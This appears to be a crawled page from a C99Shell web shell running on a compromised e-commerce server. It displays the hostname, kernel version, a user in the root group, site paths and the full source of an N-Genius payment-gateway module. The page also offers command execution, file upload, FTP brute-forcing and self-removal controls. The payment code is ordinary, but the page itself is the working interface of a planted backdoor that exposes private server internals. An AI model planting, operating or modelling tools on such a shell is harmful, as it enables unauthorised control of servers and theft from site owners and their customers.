!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/Modules/NGenius/Processor/   drwxr-xr-x
Free 26.02 GB of 117.98 GB (22.05%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     NGeniusProcessor.php (3.4 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * @package NGeniusProcessor
 * @author TechVillage <support@techvill.org>
 * @contributor Soumik Datta <soumik.techvill@gmail.com>
 * @created 17-01-2023
 */

namespace Modules\NGenius\Processor;

use 
Modules\NGenius\Entities\NGenius;
use 
Modules\Gateway\Facades\GatewayHelper;
use 
Modules\Gateway\Contracts\RequiresCancelInterface;
use 
Modules\Gateway\Contracts\PaymentProcessorInterface;
use 
Modules\Gateway\Contracts\RequiresCallbackInterface;
use 
Modules\NGenius\Processor\Core\SandboxEnvironment;
use 
Modules\NGenius\Processor\Core\ProductionEnvironment;
use 
Modules\NGenius\Processor\Core\OrdersCreateRequest;
use 
Modules\NGenius\Processor\Core\OrdersRetrieveRequest;
use 
Modules\NGenius\Processor\Core\NGeniusResponse;


class 
NGeniusProcessor implements PaymentProcessorInterfaceRequiresCallbackInterfaceRequiresCancelInterface
{
    private 
$nGenius;

    private 
$paymentLog;

    private 
$orderReferenceCode;

    private 
$environment;


    public function 
pay($request)
    {
        
$this->setup();

        try {
            
$orderRequest = new OrdersCreateRequest($this->environment$this->orderReferenceCode$this->paymentLog$this->nGenius->outletReference);
            
$result $orderRequest->getApiResponse();

            if (!(
$result['code'] >= 200 && $result['code'] < 300)) {
                throw new 
\Exception("N-Genius order creation failed!");
            }
        } catch (
\Exception $e) {
            
paymentLog($e);
            throw new 
\Exception(__("N-Genius payment request failed."));
        }

        
$response $result['response'];
        
$this->setNGeniusOrderReference($response["reference"]);
        
$payPageUrl $response["_links"]["payment"]["href"];

        return 
redirect($payPageUrl);
    }


    private function 
setup()
    {
        
$this->nGenius = (new NGenius)->first()->data;
        
$this->orderReferenceCode GatewayHelper::getPaymentCode();
        
$this->paymentLog GatewayHelper::getPurchaseData($this->orderReferenceCode);
        
$this->environment $this->getEnvironment();
    }


    private function 
getEnvironment()
    {
        if (!
$this->nGenius->sandbox) {
            return new 
ProductionEnvironment($this->nGenius->apiKey);
        }
        return new 
SandboxEnvironment($this->nGenius->apiKey);
    }


    private function 
setNGeniusOrderReference(string $reference)
    {
        
session(['ngenius_order_reference' => $reference]);
    }


    private function 
getNGeniusOrderReference()
    {
        return 
session('ngenius_order_reference');
    }


    public function 
validateTransaction($request)
    {
        
$this->setup();

        try {
            
$orderRetrieveRequest = new OrdersRetrieveRequest($this->environment$this->nGenius->outletReference$this->getNGeniusOrderReference());
            
$result $orderRetrieveRequest->getApiResponse();

            if (!(
$result['code'] >= 200 && $result['code'] < 300)) {
                throw new 
\Exception("N-Genius order retrieving failed!");
            }
        } catch (
\Exception $e) {
            
paymentLog($e);
            throw new 
\Exception($e->getMessage());
        }

        return new 
NGeniusResponse($this->paymentLog$result['response']);
    }


    public function 
cancel($request)
    {
        throw new 
\Exception(__('Payment cancelled from N-Genius.'));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0047 ]--